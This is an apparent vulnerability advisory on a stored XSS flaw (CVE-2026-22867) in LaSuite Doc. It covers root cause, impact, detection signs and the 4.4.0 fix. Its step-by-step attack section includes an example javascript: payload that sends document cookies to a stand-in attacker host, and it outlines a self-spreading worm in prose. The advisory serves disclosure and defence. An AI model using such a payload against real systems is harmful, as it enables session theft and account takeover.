CVE-2026-22867: 
NixOS vulnerability analysis and mitigation

CVE-2026-22867 is a Stored Cross-Site Scripting (XSS) vulnerability in the Interlinking feature of LaSuite Doc, a collaborative note-taking, wiki, and documentation platform. It affects versions 3.8.0 through 4.3.0, and was disclosed on January 15, 2026, with a fix released in version 4.4.0. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) per the GitHub Security Advisory, reflecting high confidentiality and integrity impacts (GitHub Advisory, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the InterlinkingLinkInlineContent.tsx component (src/frontend/apps/impress/src/features/docs/doc-editor/components/custom-inline-content/Interlinking/InterlinkingLinkInlineContent.tsx). The vulnerable code stored a url prop directly in block data and passed it to Next.js router.push(url) without any validation, allowing a javascript: URI to be stored and executed when clicked. An attacker with document editing privileges could craft a malicious interlinking block via the editor API — bypassing the normal UI which generates safe /docs/{document-id} URLs — and inject an arbitrary javascript: URL that executes in the victim's browser upon click (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who clicks the malicious link, enabling session token theft, credential harvesting, and unauthorized actions on behalf of the victim. Critically, the advisory describes a self-propagating worm capability: once a victim clicks the link, the injected script can automatically copy itself to all documents the victim has edit access to, enabling exponential spread across an organization without further attacker interaction. The CVSS assessment reflects high confidentiality impact (access to all victim documents) and high integrity impact (ability to modify documents and inject malicious content), with no direct availability impact (GitHub Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time. The vulnerability requires low privileges (document editing access) and user interaction (victim must click the malicious link), but no special conditions or complex attack setup. The EPSS score is approximately 0.031%, indicating a low current probability of exploitation in the wild (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog.

1. Gain editor access: Obtain document editing privileges on a shared LaSuite Doc instance running versions 3.8.0–4.3.0, either through a legitimate account or by compromising one.
2. Craft malicious block data: Using the editor API (bypassing the normal UI), create an interlinkingLinkInline block with the url prop set to a malicious javascript: URI, e.g., javascript:fetch('https://attacker.com/steal?c='+document.cookie).
3. Embed in shared document: Insert the crafted block into a document accessible to target users, disguising it as a normal document link.
4. Wait for victim interaction: When a victim user clicks the link, Next.js router.push(url) executes the javascript: URI in the victim's browser context.
5. Trigger worm propagation (optional): Include a payload that enumerates all documents the victim can edit and injects the same malicious interlinking block into each, causing the worm to spread to other users who open those documents (GitHub Advisory, Patch Commit).

• Logs: Audit logs showing unexpected document edits — particularly modifications to interlinking blocks — by users who do not normally edit those documents; API calls to the editor endpoint inserting interlinkingLinkInline blocks with non-UUID docId or suspicious url values.
• Network: Outbound requests from users' browsers to unexpected external domains shortly after clicking document links; unusual API calls to document edit endpoints in rapid succession (indicative of worm propagation).
• Application Behavior: Multiple documents being modified in a short time window by the same user account (worm self-propagation); interlinking blocks appearing in documents that were not manually linked by their authors.
• File System / Block Data: Stored block data in the document database containing url props with javascript: scheme values in interlinkingLinkInline block types (GitHub Advisory).

The vulnerability is fixed in LaSuite Doc version 4.4.0, released January 13, 2026. The patch removes the unvalidated url prop from the InterlinkingLinkInlineContent component and replaces it with a validated docId prop that must pass UUID validation before use; the navigation URL is then constructed server-side as /docs/${docId}/ (Patch Commit, v4.4.0 Release). Organizations should upgrade to version 4.4.0 or later immediately. As a temporary workaround until patching is complete, restrict document editing privileges to trusted users only, and educate users to avoid clicking interlinking blocks in documents created by unfamiliar contributors.

The vulnerability was reported by researcher @thxtech and published as a GitHub Security Advisory (GHSA-4rwv-ghwh-9rv6) by the maintainers on January 15, 2026. The v4.4.0 release notes explicitly flagged this as a "high" severity fix, and the release received positive community acknowledgment on GitHub. Brief coverage appeared on The Hacker Wire and was noted by automated CVE tracking accounts on Bluesky (GitHub Advisory, v4.4.0 Release).